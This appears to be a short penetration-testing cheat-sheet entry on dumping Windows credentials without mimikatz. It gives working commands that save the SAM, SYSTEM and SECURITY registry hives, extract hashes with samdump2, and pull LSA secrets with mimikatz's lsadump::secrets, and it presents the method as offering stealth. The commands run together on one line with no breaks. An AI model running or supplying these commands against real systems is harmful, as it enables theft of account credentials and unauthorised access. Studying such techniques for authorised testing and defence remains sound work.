CredDumpWithoutMimilkatz
ShellPrivEscExploitationWindowsLinux
The lsass Process while great, is no where neaar the only way to dump credintials from windows. One of which is access the three registry hives:
SAM, SYSTEM, and SECURITY. This is a method that can be used to dump credentials without mimikatz as well as offer some potenial stealth.
Command
# The following command will dump the SAM, SYSTEM, and SECURITY hives to the current directory.reg save HKLM\SAM sam.hivereg save HKLM\SYSTEM system.hivereg save HKLM\SECURITY security.hive#Assuming you have transfered the hives to your kalisamdump2 system sam #We can also get lsa secrets via mimikatzlsadump::secrets /system:c:\temp\system.hive /security:c:\temp\security.hive